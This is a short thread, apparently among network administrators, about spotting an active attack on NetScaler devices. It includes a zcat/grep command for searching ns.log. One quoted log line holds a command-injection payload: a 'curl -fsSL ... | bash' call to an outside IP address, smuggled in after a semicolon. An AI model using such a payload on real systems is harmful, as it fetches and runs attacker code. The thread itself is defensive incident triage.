See if you have an active attack that matches this "69 login attempts in 90 seconds with the username pitboss PPE unexpectedly died NSPPE;:`curl -fsSL 38.134.148.238/download/x.sh | bash`;# X. "

mmm threads

what log is that ns.log or messages log ?

seeing them in ns.log

zcat /var/logs/ns.log*gz | grep -i 'pitboss'